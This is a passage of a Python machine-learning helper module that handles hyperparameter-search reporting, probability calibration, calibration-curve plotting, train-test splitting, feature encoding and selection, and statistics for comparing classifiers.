except Exception as e:\n raise e\n else:\n print(\"Execution time after '%s': %.2fs.\" % (clf_name, t1 - t0))\n\n if refit:\n dy_type = mc.type_of_target(dy_train)\n\n predicted = clf.predict(dx_train)\n\n print(\"=== '%s''s performance & accuracy of predictions\" % name)\n\n if scoring is None:\n ret_scoring = 'accuracy'\n else:\n ret_scoring = scoring\n\n rscv_score = clf.score(dx_train, dy_train)\n mean_rscv_score = clf.best_score_\n\n if scoring == 'neg_log_loss':\n rscv_score = -1.*rscv_score\n mean_rscv_score = -1.*mean_rscv_score\n\n print(\"Scoring [%s] %1.3f computed with rscv.score()\"\n % (ret_scoring.strip('neg_'), rscv_score))\n print(\"Mean cv score [%s] of the best_estimator: %1.3f\"\n % (ret_scoring.strip('neg_'), mean_rscv_score))\n\n if dx_test is not None:\n y_pred = clf.predict(dx_test)\n\n print(\"=== Predictions with %s after %s\" % (name, clf_name))\n print(\"target:\\n\", dy_train[0:5])\n print(\"predictions:\\n\", predicted[0:5])\n\n if hasattr(clf, \"predict_proba\"):\n predicted_probas = np.array(clf.predict_proba(dx_test))\n if dy_type == \"binary\":\n y_prob = []\n # consider label '0' --> 'negative'; label '1' --> 'positive'\n for probas in predicted_probas:\n y_prob.append(probas[1])\n else:\n y_prob = predicted_probas\n print(\"predicted probabilities before calibration:\\n\",\n predicted_probas[0:3])\n else:\n # use decision function\n print(\"Model '%s' hasn't got 'predict_proba' as an attribute\"\n % clf)\n y_prob = clf.decision_function(dx_test)\n y_prob = (y_prob - y_prob.min())/(y_prob.max() - y_prob.min())\n\n w = calculate_sample_weight(dy_test)\n\n print(\"Accuracy of predictions on new data %.2f%%\" % (\n accuracy_score(dy_test, y_pred, sample_weight=w)*100))\n if dy_test.max():\n # consider label '0' --> negative class;\n # label '1' --> positive class\n log_loss_score = log_loss(dy_test, y_prob)\n brier_score = brier_score_loss(dy_test, y_prob, pos_label=1)\n print(\"=== Predicted probabilities confidence for '%s'\" % name)\n print(\"log loss for '%s': %1.3f\" % (name, log_loss_score))\n print(\"brier score: %1.3f\" % brier_score)\n print()\n\n print(\"Confusion matrix for %s after %s\\n\" % (name, clf_name),\n confusion_matrix(dy_test, y_pred))\n print()\n print(\"Classification report for %s after %s\\n\" % (name, clf_name),\n classification_report(dy_test, y_pred))\n print()\n\n got_preds = 0\n try:\n models_data.append((f_name, y_prob, y_pred))\n got_preds = 1\n except Exception as e:\n print(e)\n finally:\n if got_preds == 1:\n pass\n else:\n print(\"Failed to add predictions to models_data\")\n\n best_clf = clf.best_estimator_\n\n if name in (\"RandomForestClf_2nd\", \"ExtraTreesClf_2nd\"):\n print(\"Out-of-bag score estimate: %1.3f\"\n % best_clf.named_steps[name].oob_score_)\n\n # report(clf.cv_results_)\n # print()\n\n if save:\n saved = 0\n\n if not serial:\n serial = \"%04d\" % randint(0, 1000) # %04d\n\n f_name = name + '_refitted_' + tuning + '_' + serial\n\n if d_name is not None:\n f_name = d_name + \"_\" + f_name\n\n try:\n if name not in (\n 'baseline_nn_default_Clf_2nd', 'baseline_nn_smaller_Clf_2nd',\n 'larger_nn_Clf_2nd', 'deep_nn_Clf_2nd', 'larger_deep_nn_Clf_2nd', \n 'deeper_nn_Clf_2nd', 'KerasClf_2nd'):\n au.save_model(best_clf, f_name + '.pkl')\n else:\n saved_estimator = best_clf\n keras_f_name = au.create_keras_model_filename(f_name)\n saved_estimator.named_steps[name].model.save(keras_f_name + '.h5')\n\n if(len(saved_estimator.steps)) > 1:\n saved_estimator.named_steps[name].model = None\n f_name = name + '_' + tuning + '_for_keras_model_' + serial\n\n au.save_model(saved_estimator, f_name + '.pkl')\n saved = 1\n except Exception as e:\n print(e)\n finally:\n if saved == 1:\n pass\n else:\n print(\"Failed to save model to file\")\n\n else:\n pass\n\n else:\n # refit == False\n print(\"=== '%s''s performance without predictions\" % name)\n\n try:\n mean_rscv_score = clf.best_score_\n except AttributeError as ae:\n print(ae)\n except Exception as e:\n raise e\n else:\n if scoring == 'neg_log_loss':\n mean_rscv_score = -1.*mean_rscv_score\n\n print(\"Mean cv score [%s] of the best_estimator: %1.3f\"\n % (scoring.strip('neg_'), mean_rscv_score))\n\n print()\n print(\"Parameters of best estimator.\")\n for param_name in sorted(clf.best_params_.keys()):\n print(\"\\t%s: %r\" % (param_name, clf.best_params_[param_name]))\n print()\n\n return clf.best_params_ if not refit else best_clf\n\n\ndef probability_confidence_before_calibration(\n unc_estimator, dx_train, dy_train, dx_test, dy_test, tuning,\n models_data, labels, serial=0, save=False):\n \"\"\"Train estimator to check prediction confidence before calibration.\"\"\"\n print()\n print(\"[task] === Probability confidence before calibration\")\n\n name = ''\n for step in unc_estimator.steps:\n m = re.search(\"Clf\", step[0])\n if m:\n name = step[0]\n model = step[1]\n\n # speed things up, use more CPU jobs\n if hasattr(model, 'n_jobs'):\n if (hasattr(model, 'solver') and\n model.get_params()['solver'] == 'liblinear'):\n pass\n else:\n unc_estimator.named_steps[name].set_params(n_jobs=-2)\n\n unc_estimator.fit(dx_train, dy_train)\n # best_clf = unc_estimator.named_steps[name]\n\n dy_type = mc.type_of_target(dy_test)\n\n w = calculate_sample_weight(dy_test)\n wtr = calculate_sample_weight(dy_train)\n\n # if hasattr(unc_estimator, \"predict\"):\n predicted = unc_estimator.predict(dx_test)\n\n print()\n print(\"=== Predictions with %s after %s\" % (name, tuning.upper()))\n print(\"target:\\n\", dy_test[0:5])\n print(\"predictions:\\n\", predicted[0:5])\n print(\"=== '%s''s quality of predictions\" % name)\n\n print(\"Accuracy %.2f%% computed with .score() on train data\"\n % (unc_estimator.score(dx_train, dy_train, sample_weight=wtr)*100))\n print(\"Accuracy %.2f%% computed with metrics.accuracy_score() on new data\"\n % (accuracy_score(dy_test, predicted, sample_weight=w)*100))\n\n if hasattr(unc_estimator, \"predict_proba\"):\n predicted_probas = np.array(unc_estimator.predict_proba(dx_test))\n if dy_type == \"binary\":\n y_prob = []\n # consider label '0' --> 'dead'; label '1' --> 'survived'\n for probas in predicted_probas:\n y_prob.append(probas[1])\n else:\n y_prob = predicted_probas\n # print(\"predicted probabilities:\\n\", predicted_probas[0:3])\n print(\"predicted probabilities:\\n\", y_prob[0:3])\n else:\n # use decision function\n print(\"Model '%s' hasn't got 'predict_proba' as an attribute\" % name)\n y_prob = unc_estimator.decision_function(dx_test)\n y_prob = (y_prob - y_prob.min())/(y_prob.max() - y_prob.min())\n if dy_type == \"binary\":\n unc_roc_auc = roc_auc_score(dy_test, y_prob)\n print(\"ROC_AUC score computed on new_data: %1.3f\" % unc_roc_auc)\n print(\"=== Predicted probabilities confidence for '%s'\" % name)\n if labels is not None:\n print(\"Labels:\", labels)\n else:\n print(\"Labels is 'None'\")\n prediction_confidence = log_loss(dy_test, y_prob, labels=labels)\n print(\"log loss for '%s': %1.3f\" % (name, prediction_confidence))\n if dy_type == \"binary\":\n print(\"brier score: %1.3f\"\n % brier_score_loss(dy_test, y_prob, pos_label=1))\n\n if not serial:\n serial = \"%04d\" % randint(0, 1000)\n\n f_name = name + '_nocalib_' + tuning + '_' + serial\n\n if save:\n saved = 0\n try:\n if name not in (\n 'baseline_nn_default_Clf_2nd', 'baseline_nn_smaller_Clf_2nd',\n 'larger_nn_Clf_2nd', 'deep_nn_Clf_2nd', 'larger_deep_nn_Clf_2nd', \n 'deeper_nn_Clf_2nd', 'KerasClf_2nd'):\n au.save_model(unc_estimator, f_name + '.pkl')\n else:\n saved_estimator = unc_estimator\n keras_f_name = au.create_keras_model_filename(f_name)\n saved_estimator.named_steps[name].model.save(keras_f_name + '.h5')\n\n if(len(saved_estimator.steps)) > 1:\n saved_estimator.named_steps[name].model = None\n f_name = name + '_' + tuning + '_for_keras_model_' + serial\n\n au.save_model(saved_estimator, f_name + '.pkl')\n\n del saved_estimator\n\n saved = 1\n except Exception as e:\n print(e)\n finally:\n if saved == 1:\n pass\n else:\n print(\"Failed to save model to file\")\n\n got_preds = 0\n try:\n models_data.append((f_name, y_prob, predicted))\n got_preds = 1\n except Exception as e:\n print(e)\n finally:\n if got_preds == 1:\n pass\n else:\n print(\"Failed to add predictions to models_data\")\n\n print()\n\n unc_est_data = ()\n\n # back to n_jobs=1 in order to avoid nesting parallel jobs into RSCV\n if hasattr(model, 'n_jobs'):\n if (hasattr(model, 'solver') and\n model.get_params()['solver'] == 'liblinear'):\n pass\n else:\n unc_estimator.named_steps[name].set_params(n_jobs=1)\n\n if dy_type == \"binary\":\n unc_est_data = prediction_confidence, unc_estimator, unc_roc_auc\n else:\n unc_est_data = prediction_confidence, unc_estimator\n\n return unc_est_data\n\n\ndef calibrate_probabilities(\n estimator, dx_train, dy_train, dx_test, dy_test, method, tuning,\n models_data, cv, labels, serial=0):\n \"\"\"Calibrate probabilities of 'estimator'.\"\"\"\n if method not in ('isotonic', 'sigmoid'):\n raise ValueError(\"\"\"%s is not a valid method value for function\n 'calibrate_probabilities_prod'. Valid options are ['isotonic',\n 'sigmoid']\"\"\" % method)\n\n name = ''\n try:\n for step in estimator.steps:\n m = re.search(\"Clf\", step[0])\n except Exception as e:\n print(e)\n else:\n if m:\n name = step[0]\n\n print(\"[task] === Calibrating predicted probabilities.\")\n print()\n\n if len(dy_train) < 100:\n if method == 'isotonic':\n print(\"\"\"It is not advised to use isotonic calibration with too few\n calibration samples since it tends to overfit.\"\"\")\n print(\"Switching to sigmoids (Platt's calibration).\")\n method = 'sigmoid'\n\n elif (len(dy_train) >= 100000 or\n dx_train.shape[1]*dx_train.shape[0] >= 100000):\n print(\"Too many samples or too much data, using only isotonic calibration.\")\n if method == 'sigmoid':\n method = 'isotonic'\n\n dy_type = mc.type_of_target(dy_test)\n\n calib_clf = CalibratedClassifierCV(estimator, method=method, cv=cv)\n\n # if cv == 'prefit': train data (dx_train, dy_train) == (X_calib, y_calib))\n # else: train data (dx_train, dy_train) == (X_train, Y_train)\n\n t0 = time()\n calib_clf.fit(dx_train, dy_train)\n t1 = time()\n wtr = calculate_sample_weight(dy_train)\n w_score = calib_clf.score(dx_train, dy_train, sample_weight=wtr)*100\n\n print(\"Execution time after '%s' 'CCCV': %.2fs.\" % (method, t1 - t0))\n predicted = calib_clf.predict(dx_test)\n\n # print(\"predicted:\\n\", predicted_probas[0:3])\n\n print(\"=== Predictions after calibration for '%s'\" % name)\n print(\"predictions:\\n\", predicted[0:3])\n # print(\"predicted probabilities:\\n\", predicted_probas[0:3])\n print(\"=== Calibration performance for '%s'\" % name)\n prediction_score = 10000\n\n if dy_type == 'binary':\n\n # consider label '0' --> 'dead'; label '1' --> 'survived'\n predicted_probas = np.array(calib_clf.predict_proba(dx_test))\n y_prob = []\n # consider label '0' --> 'dead'; label '1' --> 'survived'\n for probas in predicted_probas:\n y_prob.append(probas[1])\n\n clabel = 1\n print(\"predicted probabilities for class %d:\\n\" % clabel, y_prob[0:5])\n bsl_score = brier_score_loss(dy_test, y_prob, pos_label=clabel)\n print(\"Brier score: %1.3f\" % bsl_score)\n print(\"=== '%s''s classification performance\" % name)\n # acc_from_predictions = accuracy_score(dy_test, predicted)*100\n roc_auc_fom_preds = roc_auc_score(dy_test, y_prob)*100\n print(\"ROC AUC %1.3f computed w metrics.roc_auc_score() on test data and predictions\"\n % roc_auc_fom_preds)\n\n msg = \"*** Best Brier scor loss: \"\n prediction_score = bsl_score\n\n else:\n y_prob = np.array(calib_clf.predict_proba(dx_test))\n print(\"Predicted probabilities:\\n\", y_prob[0:5])\n\n ll_score = log_loss(dy_test, y_prob, labels=labels)\n print(\"log loss for '%s': %1.3f\" % (name, ll_score))\n\n msg = \"*** Best log loss score: \"\n prediction_score = ll_score\n\n print(\"=== '%s''s accuracy of predictions\" % name)\n w = calculate_sample_weight(dy_test)\n weighted_acc_from_predictions = accuracy_score(\n dy_test, predicted, sample_weight=w)*100\n\n print(\"Accuracy %.2f%% computed with .score()\" % (w_score))\n print(\"Accuracy %.2f%% computed w metrics.accuracy_score() on test data \"\n \"and predictions\" % weighted_acc_from_predictions)\n\n print(msg + \"%1.3f, method: %s\" % (prediction_score, method))\n\n print()\n\n got_preds = 0\n try:\n models_data.append(\n (name + '_nofinal_calib_' + tuning + '_' + method + '_'\n + serial, y_prob, predicted))\n got_preds = 1\n except Exception as e:\n print(e)\n finally:\n if got_preds == 1:\n pass\n else:\n print(\"Failed to add predictions to models_data\")\n\n print()\n\n calib_est_data = ()\n\n if dy_type == 'binary':\n calib_est_data = prediction_score, calib_clf, roc_auc_fom_preds\n else:\n calib_est_data = prediction_score, calib_clf\n\n return calib_est_data\n\n\ndef plot_calibration_curves(dy_test, clf_name, models_data, fig_index, d_name=None):\n \"\"\"Plot calibration curve for various models - w/o and with calibration.\"\"\"\n print()\n print(\"=== Plotting calibration curves.\")\n print(\"length of models_data:\", len(models_data))\n\n # curdir = os.path.dirname(__file__)\n curdir = os.getcwd()\n\n # directory = curdir + \"\\\\results\"\n directory = os.path.join(curdir, \"results\")\n\n try:\n os.makedirs(directory)\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise\n\n plt.figure(fig_index, figsize=(10, 10))\n ax1 = plt.subplot2grid((3, 1), (0, 0), rowspan=2)\n ax2 = plt.subplot2grid((3, 1), (2, 0))\n\n ax1.plot([0, 1], [0, 1], \"k:\", label=\"Perfectly calibrated\")\n\n w = calculate_sample_weight(dy_test)\n\n # your models should already be fitted at this point\n # and associated predicted probabilities ready to be used\n # to assess performance and confidence of predictions\n\n if d_name is not None:\n clf_name = d_name + \"_\" + clf_name\n\n name_w_serial = ''\n\n for it, data in enumerate(models_data):\n print(\"it + 1 : \", (it + 1))\n\n name, prob_pos, y_pred = data\n\n w_clf_score = brier_score_loss(dy_test, prob_pos, pos_label=dy_test.max())\n print(\"%s weighted scores:\" % name)\n print(\"\\tBrier: %1.3f\" % (w_clf_score))\n print(\"\\tLogLoss: %1.3f\" % log_loss(dy_test, prob_pos))\n print(\"\\tAccuracy: %1.3f\" % accuracy_score(dy_test, y_pred, sample_weight=w))\n print(\"\\tROC AUC: %1.3f\" % roc_auc_score(dy_test, prob_pos))\n print(\"\\tPrecision: %1.3f\" % precision_score(dy_test, y_pred))\n print(\"\\tRecall: %1.3f\" % recall_score(dy_test, y_pred))\n print(\"\\tF1: %1.3f\\n\" % f1_score(dy_test, y_pred))\n\n fraction_of_positives, mean_predicted_value = \\\n calibration_curve(dy_test, prob_pos, n_bins=10)\n\n ax1.plot(\n mean_predicted_value, fraction_of_positives, \"s-\",\n label=\"%s (%1.3f)\" % (name, w_clf_score))\n\n ax2.hist(prob_pos, range=(0, 1), bins=10, label=name, histtype=\"step\",\n lw=2)\n\n if (it + 1) == len(models_data):\n assert (it + 1) == len(models_data), \"jebiga, you failed!\"\n name_w_serial = name\n print(name_w_serial)\n\n try:\n re.search(r'(?<=_)\\d{4}', name_w_serial).group(0)\n except AttributeError as ae:\n print(ae)\n serial = \"%04d\" % randint(0, 1000)\n except Exception as e:\n print(e)\n else:\n serial = re.search(r'(?<=_)\\d{4}', name_w_serial).group(0)\n # clf_name = sys.argv[0][:5] + \"_\" + clf_name + \"_\" + serial\n clf_name = clf_name + \"_\" + serial\n\n ax1.set_ylabel(\"Fraction of positives\")\n ax1.set_ylim([-0.05, 1.05])\n ax1.legend(loc=\"lower right\")\n ax1.set_title('Calibration plots of \"%s\" (reliability curve)' % clf_name)\n\n ax2.set_xlabel(\"Mean predicted value\")\n ax2.set_ylabel(\"Count\")\n ax2.legend(loc=\"upper center\", ncol=2)\n\n plt.tight_layout()\n\n try:\n fig_name = os.path.join(curdir, directory, \"calibration_curves_\" + clf_name)\n except FileNotFoundError as fe:\n print(fe)\n except Exception as e:\n print(e)\n else:\n plt.savefig(fig_name + \".png\", format='png')\n\n\ndef scoring_and_tt_split(df, target, test_size=0.3, random_state=0, Xy=False):\n \"\"\"\n # Select scoring based on type of target and train-test split data.\n\n ----------------------------------------------------------------------------\n df: pandas dataframe\n target: pandas series containing target label\n random_state: seed [np.random]\n \"\"\"\n print()\n print(\"[task] === Select scoring based on type of target [supervised] and \"\n \"train-test split data\")\n\n print()\n print(df[[target]].head())\n print()\n\n # Split dataframe in features and target\n\n X = df.drop([target], axis=1)\n y = df[target]\n\n print(\"X.columns:\", X.columns)\n print(\"y elements:\", y.unique())\n print()\n\n X = columns_as_type_float(X)\n\n # for col in X.columns:\n # if X[col].dtype in ('uint8', 'int8', 'int32', 'int64'):\n # X[col] = X[col].astype(float)\n\n print()\n # print(\"Before feature union.\")\n print(\"=== Before feature transfomation.\")\n print()\n print(\"X shape: \", X.shape)\n print(\"Y shape: \", y.shape)\n print()\n\n # Here you could ask whether to optimize for a single metric or\n # go for multimetric-evaluation\n\n labels = None\n\n Y_type = mc.type_of_target(y)\n\n if (Y_type not in (\"binary\", \"multilabel-indicator\") and\n Y_type == 'multiclass'):\n # nested_cv_scoring='accuracy'\n scoring = 'neg_log_loss'\n\n labels = list(np.unique(y))\n\n elif Y_type == \"binary\":\n scoring = 'roc_auc'\n\n print()\n\n print(\"Metric:\", scoring.strip('neg_'))\n print(\"Calibration of untrained models -- CCCV 2nd\")\n print()\n\n # Non-nested CV\n\n # Train-test split\n\n print()\n\n print(\"== First split: train-test\")\n\n X_train, X_test, y_train, y_test = (None, None, None, None)\n\n # X_train, X_test, y_train, y_test = train_test_split(\n # X, Y, stratify=Y, test_size=test_size, random_state=random_state)\n\n train_idx, test_idx = (None, None)\n\n sss = StratifiedShuffleSplit(\n n_splits=1, test_size=test_size, random_state=random_state)\n\n for train_index, test_index in sss.split(X, y):\n # print(\"TRAIN:\", train_index, \"TEST:\", test_index)\n X_train, X_test = X.iloc[train_index], X.iloc[test_index]\n y_train, y_test = y.iloc[train_index], y.iloc[test_index]\n train_idx, test_idx = train_index, test_index\n\n # original dataframe may contain NaNs and Infs propagating\n # into train, test dfs\n\n if X_train.isnull().values.any():\n\n X_train = X_train.fillna(method='bfill')\n X_train = X_train.fillna(method='pad')\n\n if X_test.isnull().values.any():\n\n X_test = X_test.fillna(method='bfill')\n X_test = X_test.fillna(method='pad')\n\n sltt = {}\n\n sltt['target_type'] = Y_type\n sltt['labels'] = labels\n sltt['scoring'] = scoring\n sltt['tt_index'] = train_idx, test_idx\n sltt['arrays'] = X_train, X_test, y_train, y_test\n if Xy:\n sltt['Xy'] = X, y\n\n return sltt\n\n\n# Processing df columns\n\ndef float_columns(X):\n for col in X.columns:\n if X[col].dtype in ('uint8','int8', 'int32', 'int64'):\n X[col] = X[col].astype(np.float32)\n\n return X\n\n\ndef columns_as_type_float(X):\n try:\n X = X.astype(np.float32)\n except MemoryError as me:\n print(\"MemoryError !\")\n print(me)\n X = float_columns(X)\n except TypeError as te:\n print(\"TypeError !\")\n print(te)\n X = float_columns(X)\n except ValueError as ve:\n print(\"ValueError !\")\n print(ve)\n X = float_columns(X)\n except Exception as e:\n raise e\n\n return X\n\n\ndef reorder_ohencoded_X_test_columns(X_train, X_test):\n col_to_add = np.setdiff1d(\n X_train.columns, X_test.columns)\n\n # add these columns to test, setting them equal to zero\n for c in col_to_add:\n X_test[c] = 0\n\n # select and reorder the test columns using the train columns\n X_test_reordered = X_test[X_train.columns]\n\n assert (len(X_test_reordered.columns) == len(X_train.columns)), \\\n \"Number of columns do not match!\"\n\n return X_test_reordered\n\n\ndef create_feature_selector(X, encoding, seed=0):\n if encoding not in (\"le\", \"ohe\"):\n raise ValueError(\n \"%s is not a valid encoding value.\"\n \"Valid values are ['le', 'ohe']\")\n\n if encoding == \"le\":\n if X.shape[1] > 10:\n featselector = (\n 'feature_selection', SelectFromModel(\n ExtraTreesClassifier(\n n_estimators=10, random_state=seed))\n )\n else:\n # threshold=0. bypasses selection\n featselector = (\n 'feature_selection', SelectFromModel(\n ExtraTreesClassifier(\n n_estimators=10, random_state=seed), \n threshold=0.)\n )\n else:\n lscv = pgd.full_search_models_and_parameters['LinearSVMClf_2nd'][0]\n lscv = lscv.set_params(C=0.01, penalty=\"l1\", dual=False)\n # threshold=[1e-2, 1e-1]\n featselector = ('feature_selection', \n SelectFromModel(lscv, threshold=\"mean\"))\n\n return featselector\n\n\ndef plot_feature_importances(estimator, X):\n sfm_est = estimator.named_steps['feature_selection'].estimator_\n\n feature_names = X.columns\n\n # importances = []\n\n try:\n if hasattr(sfm_est, 'feature_importances_'):\n importances = sfm_est.feature_importances_\n importances = 100*(importances/np.max(importances))\n fs = 'Tree-based feature selection'\n elif hasattr(sfm_est, 'coef_'):\n abs_importances = np.abs(sfm_est.coef_[0])\n importances = 100*(abs_importances/np.max(abs_importances))\n \"\"\"\n if sfm_est.coef_.ndim == 1:\n importances = np.abs(sfm_est.coef_)\n else:\n importances = np.linalg.norm(\n sfm_est.coef_, axis=0, ord=norm_order)\n \"\"\"\n fs = 'L1-based feature selection'\n except Exception as e:\n print(e)\n else:\n indices = np.argsort(importances)[::-1]\n\n print(\"indices:\", indices)\n print(\"indices shape:\", indices.shape)\n print(\"X_train_encoded.shape[1]:\", X.shape[1])\n print(\"feature_names shape:\", feature_names.shape)\n print(\"importances shape\", importances.shape)\n print()\n\n # Print the feature ranking - top 64\n title = \"Feature importances from \" + fs\n\n x_length = X.shape[1]\n print(\"Feature ranking:\")\n if x_length > 64:\n x_length = 64\n title = \"Top 64 feature importances from \" + fs\n print(title)\n print()\n for f in np.arange(x_length):\n print(\"\\t%d. feature '%s' (%.5f)\"\n % (f + 1,\n feature_names[indices[f]],\n importances[indices[f]]))\n print()\n\n # Plot the feature importances of the sfm.estimator - top 64\n pos = np.arange(x_length) + .5\n indices = np.argsort(importances)[:x_length]\n\n plt.figure(figsize=(12, 6))\n plt.title(title)\n plt.barh(pos, importances[indices], color=\"b\", align=\"center\")\n plt.yticks(pos, feature_names[indices])\n plt.xlabel('Relative Importance')\n plt.show()\n\n print()\n # input(\"Press any key to continue...\")\n plt.close()\n\n\n# after that, you can inject your feature engineering on train-test data\n\ndef auto_X_encoding(\n sltt, random_state, f_sel=True, encode_target_fct=None):\n \"\"\"\n # automatically label-encode or OH-encode train-test dataself.\n\n # plot feature importances of label-encoded data.\n\n ------------------------------------------------------\n\n sltt: dictionary of scoring, labels and train-test data\n random_state: seed [np.random]\n encode_target_fct: function to encode target\n \"\"\"\n print()\n print(\"[task] === Automatically label-encode or OH-encode train-test data\")\n\n X_train, X_test, y_train, y_test = sltt['arrays']\n\n # custom engineering of train, test dfs may creaet NaNs for missing values\n\n if X_train.isnull().values.any():\n\n X_train = X_train.fillna(method='bfill')\n X_train = X_train.fillna(method='pad')\n\n if X_test.isnull().values.any():\n\n X_test = X_test.fillna(method='bfill')\n X_test = X_test.fillna(method='pad')\n\n print()\n print(\"Before encoding:\")\n print()\n # print(\"X_test -- first row:\", X_test.values[0])\n # print(\"X_train -- first row:\", X_train.values[0])\n # print()\n\n encoding = au.select_encoding_method()\n\n print()\n # input(\"Enter key to continue... \\n\")\n\n scaler_tuple = au.select_X_transformer()\n\n steps = []\n # here you should also insert imputing and label encoding\n # steps.append(('label_encoder', LabelEncoder()))\n steps.append(scaler_tuple)\n\n featselector = None\n\n if encoding == 'le':\n\n print(\"=== [task] Label-Encoding X_train and X_test dataframe values\")\n print()\n\n print(\"Label-Encoding X_train\")\n X_train_encoded = lc.dummy_encode(X_train).astype(np.float32)\n print()\n\n print(\"Label-Encoding X_test\")\n X_test_encoded = lc.dummy_encode(X_test).astype(np.float32)\n\n featselector = create_feature_selector(\n X_train_encoded, encoding, random_state)\n\n print()\n print(\"X_test shape: \", X_test_encoded.shape)\n\n else:\n\n print(\"=== [task] One-Hot-Encoding X_train and X_test dataframe values\")\n print()\n print(\"X_train info:\\n\", X_train.info())\n print()\n print(\"X_train's head: \", X_train.head(1))\n print()\n # (le) + ohe\n print(\"OH-Encoding X_train\")\n\n try:\n X_train_encoded = lc.get_dummies_or_label_encode(X_train)\n print()\n except MemoryError as me:\n print(\"MemoryError !\")\n print(me)\n print()\n print(\"Label-Encoding X_train\")\n X_train_encoded = lc.dummy_encode(X_train).astype(np.float32)\n print()\n\n print(\"Label-Encoding X_test\")\n X_test_encoded = lc.dummy_encode(X_test).astype(np.float32)\n\n encoding = 'le'\n except Exception as e:\n print(\"One-Hot-Encoding failed.\")\n raise e\n else:\n # X_train_encoded =X_train_encoded.astype(np.float32)\n X_train_encoded = columns_as_type_float(X_train_encoded)\n print()\n \n print()\n\n if encoding == \"le\":\n featselector = create_feature_selector(\n X_train_encoded, encoding, random_state)\n else:\n # encoding == \"ohe\":\n print(\"OH-Encoding X_test\")\n try:\n X_test_encoded = lc.get_dummies_or_label_encode(X_test)\n print()\n except Exception as e:\n raise e\n else:\n # X_test_encoded = X_test_encoded.astype(np.float32)\n X_test_encoded = columns_as_type_float(X_test_encoded)\n print()\n\n # perform feature selection by means of dimensionality reduction\n # to reduce data cardinality of oh-encoded data\n\n featselector = create_feature_selector(\n X_train_encoded, encoding, random_state)\n\n X_test_encoded = reorder_ohencoded_X_test_columns(\n X_train_encoded, X_test_encoded)\n\n print()\n print(\"After column trick, X_test shape: \", X_test_encoded.shape)\n\n print(\"X_test.columns:\", X_test_encoded.columns)\n print(\"X_test -- first row:\", X_test_encoded.values[0])\n print(\"y_test shape: \", y_test.shape)\n\n print(\"X_train shape: \", X_train_encoded.shape)\n print(\"X_train.columns:\", X_train_encoded.columns)\n print(\"X_train -- first row:\", X_train_encoded.values[0])\n print(\"y_train shape: \", y_train.shape)\n print()\n\n steps.append(featselector)\n pipeline = Pipeline(steps)\n\n if not f_sel:\n pipeline.fit(X_train_encoded, y_train)\n else:\n transformer = pipeline.fit(X_train_encoded, y_train)\n\n fs = ''\n\n if encoding == 'le':\n plot_feature_importances(pipeline, X_train_encoded)\n fs = 'ETR-based feature selection'\n \n else:\n # OHE\n fs = 'L1-based feature selection'\n\n auto_feat_eng_data = {}\n\n if not f_sel:\n auto_feat_eng_data['data_arrays'] = (\n X_train_encoded, y_train, X_test_encoded, y_test)\n else:\n X_train_transformed = transformer.transform(X_train_encoded)\n X_test_transformed = transformer.transform(X_test_encoded)\n\n print()\n print(\"=== After feature transfomation ['%s' encoding + %s].\"\n % (encoding, fs))\n print()\n print(\"X_train_transformed shape: \", X_train_transformed.shape)\n print(\"X_test_transformed shape: \", X_test_transformed.shape)\n\n # print(\"X_train_transformed sample: \", X_train_transformed[:3])\n # print(\"X_test_transformed: \", X_test_transformed[:3])\n\n auto_feat_eng_data['fsel_transformer'] = transformer\n auto_feat_eng_data['data_arrays'] = (\n X_train_transformed, y_train, X_test_transformed, y_test)\n auto_feat_eng_data['tt_index'] = sltt['tt_index']\n\n X = X_train_encoded.append(X_test_encoded)\n y = y_train.append(y_test)\n auto_feat_eng_data['Xy'] = X, y\n\n auto_feat_eng_data['encoding'] = encoding\n auto_feat_eng_data['scaler'] = scaler_tuple\n auto_feat_eng_data['feat_selector'] = featselector\n auto_feat_eng_data['steps'] = steps\n\n return auto_feat_eng_data\n\n\ndef split_and_X_encode(dataframe, target, test_frac, random_state=0, Xy=False,):\n \"\"\"Train test split data and label encode features.\"\"\"\n sltt = scoring_and_tt_split(dataframe, target, test_frac, random_state, Xy)\n\n X_train, X_test, y_train, y_test = sltt['arrays']\n\n scoring = sltt['scoring']\n Y_type = sltt['target_type']\n classes = sltt['labels']\n\n print(\"Classes:\", classes)\n\n print()\n print(\"X_train shape: \", X_train.shape)\n print(\"X_train -- first row:\", X_train.values[0])\n print(\"y_train shape: \", y_train.shape)\n print()\n\n print(\"X_test shape: \", X_test.shape)\n print(\"X_test -- first row:\", X_test.values[0])\n print(\"y_test shape: \", y_test.shape)\n print()\n\n print(y_train[:3])\n # input(\"Enter key to continue... \\n\")\n\n print()\n print(\"scoring:\", scoring)\n print()\n\n # auto_feat_eng_data\n return auto_X_encoding(sltt, random_state), scoring, Y_type, classes\n\n\n# Model evaluation\n\ndef calculate_stats_for_nhst(\n name, cv_results, scoring, robust=False):\n \"\"\"calculate stats for statistical hypothesis testing\"\"\"\n invert_ineq = False\n\n if scoring == \"neg_log_loss\":\n invert_ineq = True\n\n if not robust:\n score = np.mean(cv_results)\n print(\"Using the mean of scores.\")\n\n if not invert_ineq:\n func = 'x_mean > y_mean'\n else:\n func = 'x_mean < y_mean'\n\n if len(cv_results) >= 10:\n\n if robust:\n\n print(\"Using median and median absolute deviation of scores.\")\n\n # median of cv scores\n score = np.median(cv_results)\n # median abs deviation of cv scores\n score_dev = au.mad(cv_results)\n\n if not invert_ineq:\n func = 'x_median > y_median'\n else:\n func = 'x_median < y_median'\n\n else:\n print(\"Using the standard deviation.\")\n\n score_dev = np.std(cv_results)\n \n else:\n print(\"Too few samples, using half-dispersion of scores.\")\n\n # half-dispersion\n score_dev = np.abs(np.ptp(cv_results))/2\n\n stats = score, score_dev, func\n\n return stats\n\n\n# def test_for_normal_distribution(name, cv_results, alpha):\n# \"\"\"Assess normality assumption to use parametric tests for nhst\"\"\"\n \n# # here, value == 'kurtosis'\n# _, p, _, kurtosis = jarque_bera(cv_results)\n\n# print(\"kurtosis: %1.3f; p_norm: %1.3f\" % (kurtosis, p))\n\n# # null hypothesis: x comes from a normal distribution\n# normality = \"likely\"\n\n# if p < alpha:\n# # The null hypothesis can be rejected\n# print(\"It is unlikely that distro of cv_results for '%s' is normal.\")\n\n# normality = \"unlikely\"\n\n# else:\n# # p >= alpha\n# # Fail to reject the null hypothesis\n# print(\"It is likely that distro of cv_results for '%s' is normal.\"\n# % name)\n\n# return normality\n\n\ndef compare_models_performance(\n name, model, exec_time, best_model_name, best_score_dev, stats, \n cv_results, best_cv_results, average_scores_across_outer_folds, \n scores_of_best_model, func, cv_style=\"xscv\", scoring=\"roc_auc\", \n params=None, random_state=42):\n \"\"\"statistical testing of classifiers\"\"\"\n\n score, score_dev = stats[0], stats[1]\n 